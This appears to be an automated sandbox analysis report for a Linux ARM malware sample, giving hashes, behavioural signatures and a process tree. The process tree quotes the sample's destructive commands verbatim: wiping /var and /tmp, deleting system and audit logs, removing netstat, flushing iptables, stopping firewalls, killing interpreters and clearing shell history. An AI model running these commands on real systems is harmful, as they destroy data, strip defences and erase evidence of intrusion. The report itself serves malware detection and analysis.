Analysis
-
max time kernel
84s -
max time network
79s -
platform
debian-9_armhf -
resource
debian9-armhf-20240226-en -
resource tags
arch:armhfimage:debian9-armhf-20240226-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
25/03/2024, 11:16
Behavioral task
behavioral1
Sample
ad470223b26d420c890886ed236637c4.elf
Resource
debian9-armhf-20240226-en
General
-
Target
ad470223b26d420c890886ed236637c4.elf
-
Size
176KB
-
MD5
ad470223b26d420c890886ed236637c4
-
SHA1
68ea3c38139321d5ccad38ac75ce98a623834c28
-
SHA256
6996224136d32045b5a44ae686d1d90c089f6c11f89306f1121112f285b88405
-
SHA512
499b6994b1338717e6fa9719daef4860aa0f38ea3f88d1bb268ce0faaeb3efa00e8516454b9d927e28b4d339c8fc3118ad1f87e063ebcd8867aa987bd8fa21de
-
SSDEEP
3072:plx2mxpI1TzhmYineVafX2bCL1gx9pV2OnZW5hUv2JjhM/9QSw2mowhbRWz3e:pNeVafX2bwgx0Ong5hUv2JlM/9QN2mo8
Malware Config
Signatures
-
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself emmmscyxxdaoaoeskokocgdmyxxm 641 ad470223b26d420c890886ed236637c4.elf -
description ioc Process File deleted /var/log/audit/audit.log rm -
Deletes itself 1 IoCs
pid Process 641 ad470223b26d420c890886ed236637c4.elf -
Deletes system logs 1 TTPs 2 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
description ioc Process File deleted /var/log/syslog rm File deleted /var/log/messages rm -
Flushes firewall rules 64 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 750 systemctl 771 iptables 774 systemctl 819 systemctl 1034 systemctl 1073 systemctl 704 systemctl 774 systemctl 830 systemctl 951 systemctl 962 systemctl 1112 systemctl 1236 systemctl 785 systemctl 949 systemctl 983 systemctl 1021 systemctl 1088 systemctl 1096 iptables 1146 systemctl 1137 systemctl 1171 systemctl 1229 systemctl 854 systemctl 1015 systemctl 1144 systemctl 760 systemctl 790 systemctl 972 systemctl 1137 systemctl 1241 systemctl 872 iptables 984 systemctl 967 systemctl 967 systemctl 1083 systemctl 1087 systemctl 1137 systemctl 841 systemctl 889 systemctl 961 systemctl 1027 systemctl 1084 systemctl 1107 systemctl 1137 systemctl 791 systemctl 848 systemctl 701 iptables 750 systemctl 904 systemctl 936 iptables 1039 systemctl 1042 systemctl 1157 iptables 1173 systemctl 1160 systemctl 1208 systemctl 1242 systemctl 704 systemctl 1078 systemctl 1089 systemctl 1093 systemctl 759 systemctl 823 systemctl -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc File opened for modification /etc/resolv.conf -
Deletes log files 1 TTPs 37 IoCs
Deletes log files on the system.
description ioc Process File deleted /var/log/wtmp rm File deleted /var/log/lastlog rm File deleted /var/log/btmp rm File deleted /var/log/debug rm File deleted /var/log/installer/cdebconf/questions.dat rm File deleted /var/log/exim4 rm File deleted /var/log/apt/eipp.log.xz rm File deleted /var/log/fontconfig.log rm File deleted /var/log/wtmp rm File deleted /var/log/installer/cdebconf rm File deleted /var/log/kern.log rm File deleted /var/log/wtmp rm File deleted /var/log/wtmp rm File deleted /var/log/wtmp rm File deleted /var/log/audit rm File deleted /var/log/wtmp rm File deleted /var/log/installer/hardware-summary rm File deleted /var/log/installer rm File deleted /var/log/user.log rm File deleted /var/log/installer/cdebconf/templates.dat rm File deleted /var/log/installer/syslog rm File deleted /var/log/installer/status rm File deleted /var/log/apt/history.log rm File deleted /var/log/alternatives.log rm File deleted /var/log/faillog rm File deleted /var/log/dpkg.log rm File deleted /var/log/wtmp rm File deleted /var/log/wtmp rm File deleted /var/log/installer/lsb-release rm File deleted /var/log/auth.log rm File deleted /var/log/apt rm File deleted /var/log/wtmp rm File deleted /var/log/wtmp rm File deleted /var/log/daemon.log rm File deleted /var/log/installer/partman rm File deleted /var/log/exim4/mainlog rm File deleted /var/log/apt/term.log rm -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 27 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill -
Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/route ad470223b26d420c890886ed236637c4.elf -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/route ad470223b26d420c890886ed236637c4.elf -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/1/environ systemctl File opened for reading /proc/275/status pkill File opened for reading /proc/1165/status pkill File opened for reading /proc/1198/cmdline pkill File opened for reading /proc/1/environ systemctl File opened for reading /proc/22/cmdline pkill File opened for reading /proc/105/cmdline pkill File opened for reading /proc/11/cmdline pkill File opened for reading /proc/278/status pkill File opened for reading /proc/102/cmdline pkill File opened for reading /proc/305/cmdline pkill File opened for reading /proc/42/cmdline pkill File opened for reading /proc/sys/kernel/osrelease pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/305/status pkill File opened for reading /proc/987/status pkill File opened for reading /proc/165/status pkill File opened for reading /proc/569/cmdline pkill File opened for reading /proc/275/cmdline pkill File opened for reading /proc/41/status pkill File opened for reading /proc/278/status pkill File opened for reading /proc/28/status pkill File opened for reading /proc/647/status pkill File opened for reading /proc/814/status pkill File opened for reading /proc/14/cmdline pkill File opened for reading /proc/cmdline systemctl File opened for reading /proc/73/cmdline pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/21/cmdline pkill File opened for reading /proc/767/status pkill File opened for reading /proc/73/cmdline pkill File opened for reading /proc/29/status pkill File opened for reading /proc/133/cmdline pkill File opened for reading /proc/639/status pkill File opened for reading /proc/595/cmdline pkill File opened for reading /proc/275/status pkill File opened for reading /proc/300/status pkill File opened for reading /proc/211/status pkill File opened for reading /proc/300/cmdline pkill File opened for reading /proc/639/status pkill File opened for reading /proc/305/cmdline pkill File opened for reading /proc/274/cmdline pkill File opened for reading /proc/987/status pkill File opened for reading /proc/767/cmdline pkill File opened for reading /proc/27/cmdline pkill File opened for reading /proc/41/cmdline pkill File opened for reading /proc/22/status pkill File opened for reading /proc/19/cmdline pkill File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/20/cmdline pkill File opened for reading /proc/647/status pkill File opened for reading /proc/17/cmdline pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/11/status pkill File opened for reading /proc/29/cmdline pkill File opened for reading /proc/12/cmdline pkill File opened for reading /proc/165/cmdline pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/7/cmdline pkill File opened for reading /proc/42/status pkill File opened for reading /proc/17/cmdline pkill
Processes
-
/tmp/ad470223b26d420c890886ed236637c4.elf/tmp/ad470223b26d420c890886ed236637c4.elf1⤵
- Changes its process name
- Deletes itself
- Reads system routing table
- Reads system network configuration
PID:641
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:644
-
/bin/rmrm -rf /tmp/systemd-private-6a7c37bad48f487b9fd369c015c6f570-systemd-timedated.service-jZIWa3 /var/backups /var/cache /var/lib /var/local /var/lock /var/log /var/mail /var/opt /var/run /var/spool /var/tmp /var/run/atd.pid /var/run/auditd.pid /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/dbus /var/run/dhclient.eth0.pid /var/run/exim4 /var/run/initctl /var/run/initramfs /var/run/lock /var/run/log /var/run/motd.dynamic /var/run/mount /var/run/network /var/run/rsyslogd.pid /var/run/sendsigs.omit.d /var/run/shm /var/run/sshd /var/run/sshd.pid /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/user /var/run/utmp /var/tmp/systemd-private-6a7c37bad48f487b9fd369c015c6f570-systemd-timedated.service-MKA5WQ2⤵
- Deletes Audit logs
- Deletes system logs
- Deletes log files
PID:645
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:664
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:665
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:666
-
/bin/rmrm -rf "/tmp/*"2⤵PID:667
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:668
-
/bin/rmrm -rf /bin/netstat2⤵PID:669
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:670
-
/sbin/iptablesiptables -F2⤵PID:671
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:674
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:675
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:676
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:677
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:678
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:679
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:680
-
/usr/sbin/serviceservice iptables stop2⤵PID:681
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:682
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:683
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:684
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:688
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:689
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:690
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:691
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:692
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:693
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Reads runtime system information
PID:694
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:695
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:696
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:697
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:698
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:699
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:681
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:681
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:681
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:681
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:681
-
-
/bin/systemctlsystemctl stop iptables.service2⤵PID:681
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:686
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:687
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:700
-
/sbin/iptables/sbin/iptables -F2⤵
- Flushes firewall rules
PID:701
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:702
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:703
-
/usr/sbin/serviceservice firewalld stop2⤵PID:704
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:705
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:706
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:707
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:711
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:712
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:713
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:714
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Reads runtime system information
PID:715
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:716
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:717
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:718
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Reads runtime system information
PID:719
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:720
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:721
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:722
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:704
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:704
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:704
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:704
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:704
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵PID:704
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:710
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:709
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:725
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:726
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:727
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:728
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:731
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:733
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:734
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:735
-
/bin/rmrm -rf "/tmp/*"2⤵PID:736
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:738
-
/bin/rmrm -rf /bin/netstat2⤵PID:739
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:741
-
/sbin/iptablesiptables -F2⤵PID:742
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:743
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:744
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:745
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:746
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:747
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:748
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:749
-
/usr/sbin/serviceservice iptables stop2⤵PID:750
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:751
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:752
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:753
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:757
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:758
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Flushes firewall rules
PID:759
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:760
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:761
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:762
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:763
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:764
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:765
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:766
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:768
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:769
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:750
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:750
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:750
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:750
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
PID:750
-
-
/bin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
PID:750
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:756
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:755
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:770
-
/sbin/iptables/sbin/iptables -F2⤵
- Flushes firewall rules
PID:771
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:772
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:773
-
/usr/sbin/serviceservice firewalld stop2⤵PID:774
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:775
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:776
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:777
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:781
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:782
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:783
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:784
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Flushes firewall rules
PID:785
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:786
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:787
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:788
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:789
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Flushes firewall rules
PID:790
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Flushes firewall rules
PID:791
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:792
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:774
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵PID:774
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:774
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:774
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:774
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵PID:774
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:780
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:779
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:793
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:794
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:795
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:796
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:797
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:798
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:799
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:800
-
/bin/rmrm -rf "/tmp/*"2⤵PID:801
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:802
-
/bin/rmrm -rf /bin/netstat2⤵PID:803
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:804
-
/sbin/iptablesiptables -F2⤵PID:805
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:806
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:807
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:808
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:809
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:813
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:814
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:815
-
/usr/sbin/serviceservice iptables stop2⤵PID:816
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:817
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:818
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:819
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Flushes firewall rules
PID:823
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:824
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:825
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:826
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:827
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Flushes firewall rules
PID:830
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:831
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:832
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:833
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:834
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:835
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:836
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:816
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:816
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:816
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:816
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:816
-
-
/bin/systemctlsystemctl stop iptables.service2⤵PID:816
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:822
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:821
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:837
-
/sbin/iptables/sbin/iptables -F2⤵PID:838
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:839
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:840
-
/usr/sbin/serviceservice firewalld stop2⤵PID:841
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:842
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:843
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:844
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Flushes firewall rules
PID:848
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:849
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:850
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:851
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:852
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:853
-
-
